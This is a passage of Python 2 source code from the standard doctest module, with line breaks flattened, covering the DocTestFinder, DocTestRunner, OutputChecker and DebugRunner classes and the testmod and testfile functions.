' ').split() for option in option_strings: if (option[0] not in '+-' or option[1:] not in OPTIONFLAGS_BY_NAME): raise ValueError('line %r of the doctest for %s ' 'has an invalid option: %r' % (lineno+1, name, option)) flag = OPTIONFLAGS_BY_NAME[option[1:]] options[flag] = (option[0] == '+') if options and self._IS_BLANK_OR_COMMENT(source): raise ValueError('line %r of the doctest for %s has an option ' 'directive on a line with no example: %r' % (lineno, name, source)) return options # This regular expression finds the indentation of every non-blank # line in a string. _INDENT_RE = re.compile('^([ ]*)(?=\S)', re.MULTILINE) def _min_indent(self, s): "Return the minimum indentation of any non-blank line in `s`" indents = [len(indent) for indent in self._INDENT_RE.findall(s)] if len(indents) > 0: return min(indents) else: return 0 def _check_prompt_blank(self, lines, indent, name, lineno): """ Given the lines of a source string (including prompts and leading indentation), check to make sure that every prompt is followed by a space character. If any line is not followed by a space character, then raise ValueError. """ for i, line in enumerate(lines): if len(line) >= indent+4 and line[indent+3] != ' ': raise ValueError('line %r of the docstring for %s ' 'lacks blank after %s: %r' % (lineno+i+1, name, line[indent:indent+3], line)) def _check_prefix(self, lines, prefix, name, lineno): """ Check that every line in the given list starts with the given prefix; if any line does not, then raise a ValueError. """ for i, line in enumerate(lines): if line and not line.startswith(prefix): raise ValueError('line %r of the docstring for %s has ' 'inconsistent leading whitespace: %r' % (lineno+i+1, name, line)) ###################################################################### ## 4. DocTest Finder ###################################################################### class DocTestFinder: """ A class used to extract the DocTests that are relevant to a given object, from its docstring and the docstrings of its contained objects. Doctests can currently be extracted from the following object types: modules, functions, classes, methods, staticmethods, classmethods, and properties. """ def __init__(self, verbose=False, parser=DocTestParser(), recurse=True, _namefilter=None, exclude_empty=True): """ Create a new doctest finder. The optional argument `parser` specifies a class or function that should be used to create new DocTest objects (or objects that implement the same interface as DocTest). The signature for this factory function should match the signature of the DocTest constructor. If the optional argument `recurse` is false, then `find` will only examine the given object, and not any contained objects. If the optional argument `exclude_empty` is false, then `find` will include tests for objects with empty docstrings. """ self._parser = parser self._verbose = verbose self._recurse = recurse self._exclude_empty = exclude_empty # _namefilter is undocumented, and exists only for temporary backward- # compatibility support of testmod's deprecated isprivate mess. self._namefilter = _namefilter def find(self, obj, name=None, module=None, globs=None, extraglobs=None): """ Return a list of the DocTests that are defined by the given object's docstring, or by any of its contained objects' docstrings. The optional parameter `module` is the module that contains the given object. If the module is not specified or is None, then the test finder will attempt to automatically determine the correct module. The object's module is used: - As a default namespace, if `globs` is not specified. - To prevent the DocTestFinder from extracting DocTests from objects that are imported from other modules. - To find the name of the file containing the object. - To help find the line number of the object within its file. Contained objects whose module does not match `module` are ignored. If `module` is False, no attempt to find the module will be made. This is obscure, of use mostly in tests: if `module` is False, or is None but cannot be found automatically, then all objects are considered to belong to the (non-existent) module, so all contained objects will (recursively) be searched for doctests. The globals for each DocTest is formed by combining `globs` and `extraglobs` (bindings in `extraglobs` override bindings in `globs`). A new copy of the globals dictionary is created for each DocTest. If `globs` is not specified, then it defaults to the module's `__dict__`, if specified, or {} otherwise. If `extraglobs` is not specified, then it defaults to {}. """ # If name was not specified, then extract it from the object. if name is None: name = getattr(obj, '__name__', None) if name is None: raise ValueError("DocTestFinder.find: name must be given " "when obj.__name__ doesn't exist: %r" % (type(obj),)) # Find the module that contains the given object (if obj is # a module, then module=obj.). Note: this may fail, in which # case module will be None. if module is False: module = None elif module is None: module = inspect.getmodule(obj) # Read the module's source code. This is used by # DocTestFinder._find_lineno to find the line number for a # given object's docstring. try: file = inspect.getsourcefile(obj) or inspect.getfile(obj) source_lines = linecache.getlines(file) if not source_lines: source_lines = None except TypeError: source_lines = None # Initialize globals, and merge in extraglobs. if globs is None: if module is None: globs = {} else: globs = module.__dict__.copy() else: globs = globs.copy() if extraglobs is not None: globs.update(extraglobs) # Recursively explore `obj`, extracting DocTests. tests = [] self._find(tests, obj, name, module, source_lines, globs, {}) return tests def _filter(self, obj, prefix, base): """ Return true if the given object should not be examined. """ return (self._namefilter is not None and self._namefilter(prefix, base)) def _from_module(self, module, object): """ Return true if the given object is defined in the given module. """ if module is None: return True elif inspect.isfunction(object): return module.__dict__ is object.func_globals elif inspect.isclass(object): return module.__name__ == object.__module__ elif inspect.getmodule(object) is not None: return module is inspect.getmodule(object) elif hasattr(object, '__module__'): return module.__name__ == object.__module__ elif isinstance(object, property): return True # [XX] no way not be sure. else: raise ValueError("object must be a class or function") def _find(self, tests, obj, name, module, source_lines, globs, seen): """ Find tests for the given object and any contained objects, and add them to `tests`. """ if self._verbose: print 'Finding tests in %s' % name # If we've already processed this object, then ignore it. if id(obj) in seen: return seen[id(obj)] = 1 # Find a test for this object, and add it to the list of tests. test = self._get_test(obj, name, module, globs, source_lines) if test is not None: tests.append(test) # Look for tests in a module's contained objects. if inspect.ismodule(obj) and self._recurse: for valname, val in obj.__dict__.items(): # Check if this contained object should be ignored. if self._filter(val, name, valname): continue valname = '%s.%s' % (name, valname) # Recurse to functions & classes. if ((inspect.isfunction(val) or inspect.isclass(val)) and self._from_module(module, val)): self._find(tests, val, valname, module, source_lines, globs, seen) # Look for tests in a module's __test__ dictionary. if inspect.ismodule(obj) and self._recurse: for valname, val in getattr(obj, '__test__', {}).items(): if not isinstance(valname, basestring): raise ValueError("DocTestFinder.find: __test__ keys " "must be strings: %r" % (type(valname),)) if not (inspect.isfunction(val) or inspect.isclass(val) or inspect.ismethod(val) or inspect.ismodule(val) or isinstance(val, basestring)): raise ValueError("DocTestFinder.find: __test__ values " "must be strings, functions, methods, " "classes, or modules: %r" % (type(val),)) valname = '%s.__test__.%s' % (name, valname) self._find(tests, val, valname, module, source_lines, globs, seen) # Look for tests in a class's contained objects. if inspect.isclass(obj) and self._recurse: for valname, val in obj.__dict__.items(): # Check if this contained object should be ignored. if self._filter(val, name, valname): continue # Special handling for staticmethod/classmethod. if isinstance(val, staticmethod): val = getattr(obj, valname) if isinstance(val, classmethod): val = getattr(obj, valname).im_func # Recurse to methods, properties, and nested classes. if ((inspect.isfunction(val) or inspect.isclass(val) or isinstance(val, property)) and self._from_module(module, val)): valname = '%s.%s' % (name, valname) self._find(tests, val, valname, module, source_lines, globs, seen) def _get_test(self, obj, name, module, globs, source_lines): """ Return a DocTest for the given object, if it defines a docstring; otherwise, return None. """ # Extract the object's docstring. If it doesn't have one, # then return None (no test for this object). if isinstance(obj, basestring): docstring = obj else: try: if obj.__doc__ is None: docstring = '' else: docstring = obj.__doc__ if not isinstance(docstring, basestring): docstring = str(docstring) except (TypeError, AttributeError): docstring = '' # Find the docstring's location in the file. lineno = self._find_lineno(obj, source_lines) # Don't bother if the docstring is empty. if self._exclude_empty and not docstring: return None # Return a DocTest for this object. if module is None: filename = None else: filename = getattr(module, '__file__', module.__name__) if filename[-4:] in (".pyc", ".pyo"): filename = filename[:-1] return self._parser.get_doctest(docstring, globs, name, filename, lineno) def _find_lineno(self, obj, source_lines): """ Return a line number of the given object's docstring. Note: this method assumes that the object has a docstring. """ lineno = None # Find the line number for modules. if inspect.ismodule(obj): lineno = 0 # Find the line number for classes. # Note: this could be fooled if a class is defined multiple # times in a single file. if inspect.isclass(obj): if source_lines is None: return None pat = re.compile(r'^\s*class\s*%s\b' % getattr(obj, '__name__', '-')) for i, line in enumerate(source_lines): if pat.match(line): lineno = i break # Find the line number for functions & methods. if inspect.ismethod(obj): obj = obj.im_func if inspect.isfunction(obj): obj = obj.func_code if inspect.istraceback(obj): obj = obj.tb_frame if inspect.isframe(obj): obj = obj.f_code if inspect.iscode(obj): lineno = getattr(obj, 'co_firstlineno', None)-1 # Find the line number where the docstring starts. Assume # that it's the first line that begins with a quote mark. # Note: this could be fooled by a multiline function # signature, where a continuation line begins with a quote # mark. if lineno is not None: if source_lines is None: return lineno+1 pat = re.compile('(^|.*:)\s*\w*("|\')') for lineno in range(lineno, len(source_lines)): if pat.match(source_lines[lineno]): return lineno # We couldn't find the line number. return None ###################################################################### ## 5. DocTest Runner ###################################################################### class DocTestRunner: """ A class used to run DocTest test cases, and accumulate statistics. The `run` method is used to process a single DocTest case. It returns a tuple `(f, t)`, where `t` is the number of test cases tried, and `f` is the number of test cases that failed. >>> tests = DocTestFinder().find(_TestClass) >>> runner = DocTestRunner(verbose=False) >>> for test in tests: ... print runner.run(test) (0, 2) (0, 1) (0, 2) (0, 2) The `summarize` method prints a summary of all the test cases that have been run by the runner, and returns an aggregated `(f, t)` tuple: >>> runner.summarize(verbose=1) 4 items passed all tests: 2 tests in _TestClass 2 tests in _TestClass.__init__ 2 tests in _TestClass.get 1 tests in _TestClass.square 7 tests in 4 items. 7 passed and 0 failed. Test passed. (0, 7) The aggregated number of tried examples and failed examples is also available via the `tries` and `failures` attributes: >>> runner.tries 7 >>> runner.failures 0 The comparison between expected outputs and actual outputs is done by an `OutputChecker`. This comparison may be customized with a number of option flags; see the documentation for `testmod` for more information. If the option flags are insufficient, then the comparison may also be customized by passing a subclass of `OutputChecker` to the constructor. The test runner's display output can be controlled in two ways. First, an output function (`out) can be passed to `TestRunner.run`; this function will be called with strings that should be displayed. It defaults to `sys.stdout.write`. If capturing the output is not sufficient, then the display output can be also customized by subclassing DocTestRunner, and overriding the methods `report_start`, `report_success`, `report_unexpected_exception`, and `report_failure`. """ # This divider string is used to separate failure messages, and to # separate sections of the summary. DIVIDER = "*" * 70 def __init__(self, checker=None, verbose=None, optionflags=0): """ Create a new test runner. Optional keyword arg `checker` is the `OutputChecker` that should be used to compare the expected outputs and actual outputs of doctest examples. Optional keyword arg 'verbose' prints lots of stuff if true, only failures if false; by default, it's true iff '-v' is in sys.argv. Optional argument `optionflags` can be used to control how the test runner compares expected output to actual output, and how it displays failures. See the documentation for `testmod` for more information. """ self._checker = checker or OutputChecker() if verbose is None: verbose = '-v' in sys.argv self._verbose = verbose self.optionflags = optionflags self.original_optionflags = optionflags # Keep track of the examples we've run. self.tries = 0 self.failures = 0 self._name2ft = {} # Create a fake output target for capturing doctest output. self._fakeout = _SpoofOut() #///////////////////////////////////////////////////////////////// # Reporting methods #///////////////////////////////////////////////////////////////// def report_start(self, out, test, example): """ Report that the test runner is about to process the given example. (Only displays a message if verbose=True) """ if self._verbose: if example.want: out('Trying:\n' + _indent(example.source) + 'Expecting:\n' + _indent(example.want)) else: out('Trying:\n' + _indent(example.source) + 'Expecting nothing\n') def report_success(self, out, test, example, got): """ Report that the given example ran successfully. (Only displays a message if verbose=True) """ if self._verbose: out("ok\n") def report_failure(self, out, test, example, got): """ Report that the given example failed. """ out(self._failure_header(test, example) + self._checker.output_difference(example, got, self.optionflags)) def report_unexpected_exception(self, out, test, example, exc_info): """ Report that the given example raised an unexpected exception. """ out(self._failure_header(test, example) + 'Exception raised:\n' + _indent(_exception_traceback(exc_info))) def _failure_header(self, test, example): out = [self.DIVIDER] if test.filename: if test.lineno is not None and example.lineno is not None: lineno = test.lineno + example.lineno + 1 else: lineno = '?' out.append('File "%s", line %s, in %s' % (test.filename, lineno, test.name)) else: out.append('Line %s, in %s' % (example.lineno+1, test.name)) out.append('Failed example:') source = example.source out.append(_indent(source)) return '\n'.join(out) #///////////////////////////////////////////////////////////////// # DocTest Running #///////////////////////////////////////////////////////////////// def __run(self, test, compileflags, out): """ Run the examples in `test`. Write the outcome of each example with one of the `DocTestRunner.report_*` methods, using the writer function `out`. `compileflags` is the set of compiler flags that should be used to execute examples. Return a tuple `(f, t)`, where `t` is the number of examples tried, and `f` is the number of examples that failed. The examples are run in the namespace `test.globs`. """ # Keep track of the number of failures and tries. failures = tries = 0 # Save the option flags (since option directives can be used # to modify them). original_optionflags = self.optionflags SUCCESS, FAILURE, BOOM = range(3) # `outcome` state check = self._checker.check_output # Process each example. for examplenum, example in enumerate(test.examples): # If REPORT_ONLY_FIRST_FAILURE is set, then suppress # reporting after the first failure. quiet = (self.optionflags & REPORT_ONLY_FIRST_FAILURE and failures > 0) # Merge in the example's options. self.optionflags = original_optionflags if example.options: for (optionflag, val) in example.options.items(): if val: self.optionflags |= optionflag else: self.optionflags &= ~optionflag # Record that we started this example. tries += 1 if not quiet: self.report_start(out, test, example) # Use a special filename for compile(), so we can retrieve # the source code during interactive debugging (see # __patched_linecache_getlines). filename = '<doctest %s[%d]>' % (test.name, examplenum) # Run the example in the given context (globs), and record # any exception that gets raised. (But don't intercept # keyboard interrupts.) try: # Don't blink! This is where the user's code gets run. exec compile(example.source, filename, "single", compileflags, 1) in test.globs self.debugger.set_continue() # ==== Example Finished ==== exception = None except KeyboardInterrupt: raise except: exception = sys.exc_info() self.debugger.set_continue() # ==== Example Finished ==== got = self._fakeout.getvalue() # the actual output self._fakeout.truncate(0) outcome = FAILURE # guilty until proved innocent or insane # If the example executed without raising any exceptions, # verify its output. if exception is None: if check(example.want, got, self.optionflags): outcome = SUCCESS # The example raised an exception: check if it was expected. else: exc_info = sys.exc_info() exc_msg = traceback.format_exception_only(*exc_info[:2])[-1] if not quiet: got += _exception_traceback(exc_info) # If `example.exc_msg` is None, then we weren't expecting # an exception. if example.exc_msg is None: outcome = BOOM # We expected an exception: see whether it matches. elif check(example.exc_msg, exc_msg, self.optionflags): outcome = SUCCESS # Another chance if they didn't care about the detail. elif self.optionflags & IGNORE_EXCEPTION_DETAIL: m1 = re.match(r'[^:]*:', example.exc_msg) m2 = re.match(r'[^:]*:', exc_msg) if m1 and m2 and check(m1.group(0), m2.group(0), self.optionflags): outcome = SUCCESS # Report the outcome. if outcome is SUCCESS: if not quiet: self.report_success(out, test, example, got) elif outcome is FAILURE: if not quiet: self.report_failure(out, test, example, got) failures += 1 elif outcome is BOOM: if not quiet: self.report_unexpected_exception(out, test, example, exc_info) failures += 1 else: assert False, ("unknown outcome", outcome) # Restore the option flags (in case they were modified) self.optionflags = original_optionflags # Record and return the number of failures and tries. self.__record_outcome(test, failures, tries) return failures, tries def __record_outcome(self, test, f, t): """ Record the fact that the given DocTest (`test`) generated `f` failures out of `t` tried examples. """ f2, t2 = self._name2ft.get(test.name, (0,0)) self._name2ft[test.name] = (f+f2, t+t2) self.failures += f self.tries += t __LINECACHE_FILENAME_RE = re.compile(r'<doctest ' r'(?P<name>[\w\.]+)' r'\[(?P<examplenum>\d+)\]>$') def __patched_linecache_getlines(self, filename, module_globals=None): m = self.__LINECACHE_FILENAME_RE.match(filename) if m and m.group('name') == self.test.name: example = self.test.examples[int(m.group('examplenum'))] return example.source.splitlines(True) else: if sys.version_info < (2, 5, 0): return self.save_linecache_getlines(filename) else: return self.save_linecache_getlines(filename, module_globals) def run(self, test, compileflags=None, out=None, clear_globs=True): """ Run the examples in `test`, and display the results using the writer function `out`. The examples are run in the namespace `test.globs`. If `clear_globs` is true (the default), then this namespace will be cleared after the test runs, to help with garbage collection. If you would like to examine the namespace after the test completes, then use `clear_globs=False`. `compileflags` gives the set of flags that should be used by the Python compiler when running the examples. If not specified, then it will default to the set of future-import flags that apply to `globs`. The output of each example is checked using `DocTestRunner.check_output`, and the results are formatted by the `DocTestRunner.report_*` methods. """ self.test = test if compileflags is None: compileflags = _extract_future_flags(test.globs) save_stdout = sys.stdout if out is None: out = save_stdout.write sys.stdout = self._fakeout # Patch pdb.set_trace to restore sys.stdout during interactive # debugging (so it's not still redirected to self._fakeout). # Note that the interactive output will go to *our* # save_stdout, even if that's not the real sys.stdout; this # allows us to write test cases for the set_trace behavior. save_set_trace = pdb.set_trace self.debugger = _OutputRedirectingPdb(save_stdout) self.debugger.reset() pdb.set_trace = self.debugger.set_trace # Patch linecache.getlines, so we can see the example's source # when we're inside the debugger. self.save_linecache_getlines = linecache.getlines linecache.getlines = self.__patched_linecache_getlines try: return self.__run(test, compileflags, out) finally: sys.stdout = save_stdout pdb.set_trace = save_set_trace linecache.getlines = self.save_linecache_getlines if clear_globs: test.globs.clear() #///////////////////////////////////////////////////////////////// # Summarization #///////////////////////////////////////////////////////////////// def summarize(self, verbose=None): """ Print a summary of all the test cases that have been run by this DocTestRunner, and return a tuple `(f, t)`, where `f` is the total number of failed examples, and `t` is the total number of tried examples. The optional `verbose` argument controls how detailed the summary is. If the verbosity is not specified, then the DocTestRunner's verbosity is used. """ if verbose is None: verbose = self._verbose notests = [] passed = [] failed = [] totalt = totalf = 0 for x in self._name2ft.items(): name, (f, t) = x assert f <= t totalt += t totalf += f if t == 0: notests.append(name) elif f == 0: passed.append( (name, t) ) else: failed.append(x) if verbose: if notests: print len(notests), "items had no tests:" notests.sort() for thing in notests: print " ", thing if passed: print len(passed), "items passed all tests:" passed.sort() for thing, count in passed: print " %3d tests in %s" % (count, thing) if failed: print self.DIVIDER print len(failed), "items had failures:" failed.sort() for thing, (f, t) in failed: print " %3d of %3d in %s" % (f, t, thing) if verbose: print totalt, "tests in", len(self._name2ft), "items." print totalt - totalf, "passed and", totalf, "failed." if totalf: print "***Test Failed***", totalf, "failures." elif verbose: print "Test passed." return totalf, totalt #///////////////////////////////////////////////////////////////// # Backward compatibility cruft to maintain doctest.master. #///////////////////////////////////////////////////////////////// def merge(self, other): d = self._name2ft for name, (f, t) in other._name2ft.items(): if name in d: print "*** DocTestRunner.merge: '" + name + "' in both" \ " testers; summing outcomes." f2, t2 = d[name] f = f + f2 t = t + t2 d[name] = f, t class OutputChecker: """ A class used to check the whether the actual output from a doctest example matches the expected output. `OutputChecker` defines two methods: `check_output`, which compares a given pair of outputs, and returns true if they match; and `output_difference`, which returns a string describing the differences between two outputs. """ def check_output(self, want, got, optionflags): """ Return True iff the actual output from an example (`got`) matches the expected output (`want`). These strings are always considered to match if they are identical; but depending on what option flags the test runner is using, several non-exact match types are also possible. See the documentation for `TestRunner` for more information about option flags. """ # Handle the common case first, for efficiency: # if they're string-identical, always return true. if got == want: return True # The values True and False replaced 1 and 0 as the return # value for boolean comparisons in Python 2.3. if not (optionflags & DONT_ACCEPT_TRUE_FOR_1): if (got,want) == ("True\n", "1\n"): return True if (got,want) == ("False\n", "0\n"): return True # <BLANKLINE> can be used as a special sequence to signify a # blank line, unless the DONT_ACCEPT_BLANKLINE flag is used. if not (optionflags & DONT_ACCEPT_BLANKLINE): # Replace <BLANKLINE> in want with a blank line. want = re.sub('(?m)^%s\s*?$' % re.escape(BLANKLINE_MARKER), '', want) # If a line in got contains only spaces, then remove the # spaces. got = re.sub('(?m)^\s*?$', '', got) if got == want: return True # This flag causes doctest to ignore any differences in the # contents of whitespace strings. Note that this can be used # in conjunction with the ELLIPSIS flag. if optionflags & NORMALIZE_WHITESPACE: got = ' '.join(got.split()) want = ' '.join(want.split()) if got == want: return True # The ELLIPSIS flag says to let the sequence "..." in `want` # match any substring in `got`. if optionflags & ELLIPSIS: if _ellipsis_match(want, got): return True # We didn't find any match; return false. return False # Should we do a fancy diff? def _do_a_fancy_diff(self, want, got, optionflags): # Not unless they asked for a fancy diff. if not optionflags & (REPORT_UDIFF | REPORT_CDIFF | REPORT_NDIFF): return False # If expected output uses ellipsis, a meaningful fancy diff is # too hard ... or maybe not. In two real-life failures Tim saw, # a diff was a major help anyway, so this is commented out. # [todo] _ellipsis_match() knows which pieces do and don't match, # and could be the basis for a kick-ass diff in this case. ##if optionflags & ELLIPSIS and ELLIPSIS_MARKER in want: ## return False # ndiff does intraline difference marking, so can be useful even # for 1-line differences. if optionflags & REPORT_NDIFF: return True # The other diff types need at least a few lines to be helpful. return want.count('\n') > 2 and got.count('\n') > 2 def output_difference(self, example, got, optionflags): """ Return a string describing the differences between the expected output for a given example (`example`) and the actual output (`got`). `optionflags` is the set of option flags used to compare `want` and `got`. """ want = example.want # If <BLANKLINE>s are being used, then replace blank lines # with <BLANKLINE> in the actual output string. if not (optionflags & DONT_ACCEPT_BLANKLINE): got = re.sub('(?m)^[ ]*(?=\n)', BLANKLINE_MARKER, got) # Check if we should use diff. if self._do_a_fancy_diff(want, got, optionflags): # Split want & got into lines. want_lines = want.splitlines(True) # True == keep line ends got_lines = got.splitlines(True) # Use difflib to find their differences. if optionflags & REPORT_UDIFF: diff = difflib.unified_diff(want_lines, got_lines, n=2) diff = list(diff)[2:] # strip the diff header kind = 'unified diff with -expected +actual' elif optionflags & REPORT_CDIFF: diff = difflib.context_diff(want_lines, got_lines, n=2) diff = list(diff)[2:] # strip the diff header kind = 'context diff with expected followed by actual' elif optionflags & REPORT_NDIFF: engine = difflib.Differ(charjunk=difflib.IS_CHARACTER_JUNK) diff = list(engine.compare(want_lines, got_lines)) kind = 'ndiff with -expected +actual' else: assert 0, 'Bad diff option' # Remove trailing whitespace on diff output. diff = [line.rstrip() + '\n' for line in diff] return 'Differences (%s):\n' % kind + _indent(''.join(diff)) # If we're not using diff, then simply list the expected # output followed by the actual output. if want and got: return 'Expected:\n%sGot:\n%s' % (_indent(want), _indent(got)) elif want: return 'Expected:\n%sGot nothing\n' % _indent(want) elif got: return 'Expected nothing\nGot:\n%s' % _indent(got) else: return 'Expected nothing\nGot nothing\n' class DocTestFailure(Exception): """A DocTest example has failed in debugging mode. The exception instance has variables: - test: the DocTest object being run - excample: the Example object that failed - got: the actual output """ def __init__(self, test, example, got): self.test = test self.example = example self.got = got def __str__(self): return str(self.test) class UnexpectedException(Exception): """A DocTest example has encountered an unexpected exception The exception instance has variables: - test: the DocTest object being run - excample: the Example object that failed - exc_info: the exception info """ def __init__(self, test, example, exc_info): self.test = test self.example = example self.exc_info = exc_info def __str__(self): return str(self.test) class DebugRunner(DocTestRunner): r"""Run doc tests but raise an exception as soon as there is a failure. If an unexpected exception occurs, an UnexpectedException is raised. It contains the test, the example, and the original exception: >>> runner = DebugRunner(verbose=False) >>> test = DocTestParser().get_doctest('>>> raise KeyError\n42', ... {}, 'foo', 'foo.py', 0) >>> try: ... runner.run(test) ... except UnexpectedException, failure: ... pass >>> failure.test is test True >>> failure.example.want '42\n' >>> exc_info = failure.exc_info >>> raise exc_info[0], exc_info[1], exc_info[2] Traceback (most recent call last): ... KeyError We wrap the original exception to give the calling application access to the test and example information. If the output doesn't match, then a DocTestFailure is raised: >>> test = DocTestParser().get_doctest(''' ... >>> x = 1 ... >>> x ... 2 ... ''', {}, 'foo', 'foo.py', 0) >>> try: ... runner.run(test) ... except DocTestFailure, failure: ... pass DocTestFailure objects provide access to the test: >>> failure.test is test True As well as to the example: >>> failure.example.want '2\n' and the actual output: >>> failure.got '1\n' If a failure or error occurs, the globals are left intact: >>> del test.globs['__builtins__'] >>> test.globs {'x': 1} >>> test = DocTestParser().get_doctest(''' ... >>> x = 2 ... >>> raise KeyError ... ''', {}, 'foo', 'foo.py', 0) >>> runner.run(test) Traceback (most recent call last): ... UnexpectedException: <DocTest foo from foo.py:0 (2 examples)> >>> del test.globs['__builtins__'] >>> test.globs {'x': 2} But the globals are cleared if there is no error: >>> test = DocTestParser().get_doctest(''' ... >>> x = 2 ... ''', {}, 'foo', 'foo.py', 0) >>> runner.run(test) (0, 1) >>> test.globs {} """ def run(self, test, compileflags=None, out=None, clear_globs=True): r = DocTestRunner.run(self, test, compileflags, out, False) if clear_globs: test.globs.clear() return r def report_unexpected_exception(self, out, test, example, exc_info): raise UnexpectedException(test, example, exc_info) def report_failure(self, out, test, example, got): raise DocTestFailure(test, example, got) ###################################################################### ## 6. Test Functions ###################################################################### # These should be backwards compatible. # For backward compatibility, a global instance of a DocTestRunner # class, updated by testmod. master = None def testmod(m=None, name=None, globs=None, verbose=None, isprivate=None, report=True, optionflags=0, extraglobs=None, raise_on_error=False, exclude_empty=False): """m=None, name=None, globs=None, verbose=None, isprivate=None, report=True, optionflags=0, extraglobs=None, raise_on_error=False, exclude_empty=False Test examples in docstrings in functions and classes reachable from module m (or the current module if m is not supplied), starting with m.__doc__. Unless isprivate is specified, private names are not skipped. Also test examples reachable from dict m.__test__ if it exists and is not None. m.__test__ maps names to functions, classes and strings; function and class docstrings are tested even if the name is private; strings are tested directly, as if they were docstrings. Return (#failures, #tests). See doctest.__doc__ for an overview. Optional keyword arg "name" gives the name of the module; by default use m.__name__. Optional keyword arg "globs" gives a dict to be used as the globals when executing examples; by default, use m.__dict__. A copy of this dict is actually used for each docstring, so that each docstring's examples start with a clean slate. Optional keyword arg "extraglobs" gives a dictionary that should be merged into the globals that are used to execute examples. By default, no extra globals are used. This is new in 2.4. Optional keyword arg "verbose" prints lots of stuff if true, prints only failures if false; by default, it's true iff "-v" is in sys.argv. Optional keyword arg "report" prints a summary at the end when true, else prints nothing at the end. In verbose mode, the summary is detailed, else very brief (in fact, empty if all tests passed). Optional keyword arg "optionflags" or's together module constants, and defaults to 0. This is new in 2.3. Possible values (see the docs for details): DONT_ACCEPT_TRUE_FOR_1 DONT_ACCEPT_BLANKLINE NORMALIZE_WHITESPACE ELLIPSIS IGNORE_EXCEPTION_DETAIL REPORT_UDIFF REPORT_CDIFF REPORT_NDIFF REPORT_ONLY_FIRST_FAILURE Optional keyword arg "raise_on_error" raises an exception on the first unexpected exception or failure. This allows failures to be post-mortem debugged. Deprecated in Python 2.4: Optional keyword arg "isprivate" specifies a function used to determine whether a name is private. The default function is treat all functions as public. Optionally, "isprivate" can be set to doctest.is_private to skip over functions marked as private using the underscore naming convention; see its docs for details. Advanced tomfoolery: testmod runs methods of a local instance of class doctest.Tester, then merges the results into (or creates) global Tester instance doctest.master. Methods of doctest.master can be called directly too, if you want to do something unusual. Passing report=0 to testmod is especially useful then, to delay displaying a summary. Invoke doctest.master.summarize(verbose) when you're done fiddling. """ global master if isprivate is not None: warnings.warn("the isprivate argument is deprecated; " "examine DocTestFinder.find() lists instead", DeprecationWarning) # If no module was given, then use __main__. if m is None: # DWA - m will still be None if this wasn't invoked from the command # line, in which case the following TypeError is about as good an error # as we should expect m = sys.modules.get('__main__') # Check that we were actually given a module. if not inspect.ismodule(m): raise TypeError("testmod: module required; %r" % (m,)) # If no name was given, then use the module's name. if name is None: name = m.__name__ # Find, parse, and run all tests in the given module. finder = DocTestFinder(_namefilter=isprivate, exclude_empty=exclude_empty) if raise_on_error: runner = DebugRunner(verbose=verbose, optionflags=optionflags) else: runner = DocTestRunner(verbose=verbose, optionflags=optionflags) for test in finder.find(m, name, globs=globs, extraglobs=extraglobs): runner.run(test) if report: runner.summarize() if master is None: master = runner else: master.merge(runner) return runner.failures, runner.tries def testfile(filename, module_relative=True, name=None, package=None, globs=None, verbose=None, report=True, optionflags=0, extraglobs=None, raise_on_error=False, parser=DocTestParser()): """ Test examples in the given file. Return (#failures, #tests). Optional keyword arg "module_relative" specifies how filenames should be interpreted: - If "module_relative" is True (the default), then "filename" specifies a module-relative path. By default, this path is relative to the calling module's directory; but if the "package" argument is specified, then it is relative to that package. To ensure os-independence, "filename" should use "/" characters to separate path segments, and should not be an absolute path (i.e., it may not begin with "/"). - If "module_relative" is False, then "filename" specifies an os-specific path. The path may be absolute or relative (to the current working directory). Optional keyword arg "name" gives the name of the test; by default use the file's basename. Optional keyword argument "package" is a Python package or the name of a Python package whose directory should be used as the base directory for a module relative filename. If no package is specified, then the calling module's directory is used as the base directory for module relative filenames. It is an error to specify "package" if "module_relative" is False. Optional keyword arg "globs" gives a dict to be used as the globals when executing examples; by default, use {}. A copy of this dict is actually used for each docstring, so that each docstring's examples start with a clean slate. Optional keyword arg "extraglobs" gives a dictionary that should be merged into the globals that are used to execute examples. By default, no extra globals are used. Optional keyword arg "verbose" prints lots of stuff if true, prints only failures if false; by default, it's true iff "-v" is in sys.argv. Optional keyword arg "report" prints a summary at the end when true, else prints nothing at the end. In verbose mode, the summary is detailed, else very brief (in fact, empty if all tests passed). Optional keyword arg "optionflags" or's together module constants, and defaults to 0. Possible values (see the docs for details): DONT_ACCEPT_TRUE_FOR_1 DONT_ACCEPT_BLANKLINE NORMALIZE_WHITESPACE ELLIPSIS IGNORE_EXCEPTION_DETAIL REPORT_UDIFF REPORT_CDIFF REPORT_NDIFF REPORT_ONLY_FIRST_FAILURE Optional keyword arg "raise_on_error" raises an exception on the first unexpected exception or failure. This allows failures to be post-mortem debugged. Optional keyword arg "parser" specifies a DocTestParser (or subclass) that should be used to extract tests from the files. Advanced tomfoolery: testmod runs methods of a local instance of class doctest.Tester, then merges the results into (or creates) global Tester instance doctest.master. Methods of doctest.master can be called directly too, if you want to do something unusual. Passing report=0 to testmod is especially useful then, to delay displaying a summary. Invoke doctest.master.summarize(verbose) when you're done fiddling. """ global master if package and not module_relative: raise ValueError("Package may only be specified for module-" "relative paths.") # Relativize the path if module_relative: package = _normalize_module(package) filename = _module_relative_path(package, filename) # If no name was given, then use the file's name. if name is None: name = os.path.basename(filename) # Assemble the globals. if globs is None: globs = {} else: globs = globs.copy() if extraglobs is not None: globs.update(extraglobs) if raise_on_error: runner = DebugRunner(verbose=verbose, optionflags=optionflags) else: runner = DocTestRunner(verbose=verbose, optionflags=optionflags) # Read the file, convert it to a test, and run it. s = open(filename).read() test = parser.get_doctest(s, globs, name, filename, 0) runner.run(test) if report: runner.summarize() if master is None: master = runner else: master.merge(runner) return runner.failures, runner.tries def run_docstring_examples(f, globs, verbose=False, name="NoName", compileflags=None, optionflags=0): """ Test examples in the given object's docstring (`f`), using `globs` as globals. Optional argument `name` is used in failure messages. If the optional argument `verbose` is true, then generate output even if there are no failures. `compileflags` gives the set of flags that should be used by the Python compiler when running the examples. If not specified, then it will default to the set of future-import flags that apply to `globs`. Optional keyword arg `optionflags` specifies options for the testing and output. See the documentation for `testmod` for more information. """ # Find, parse, and run all tests in the given module. finder = DocTestFinder(verbose=verbose, recurse=False) runner = DocTestRunner(verbose=verbose, optionflags=optionflags) for test in finder.find(f, name, globs=globs): runner.run(test, compileflags=compileflags) ###################################################################### ## 7. Tester ###################################################################### # This is provided only for backwards compatibility. It's not # actually used in any way. class Tester: def __init__(self, mod=None, globs=None, verbose=None, isprivate=None, optionflags=0): warnings.warn("class Tester is deprecated; " "use class doctest.DocTestRunner instead", DeprecationWarning, stacklevel=2) if mod is None 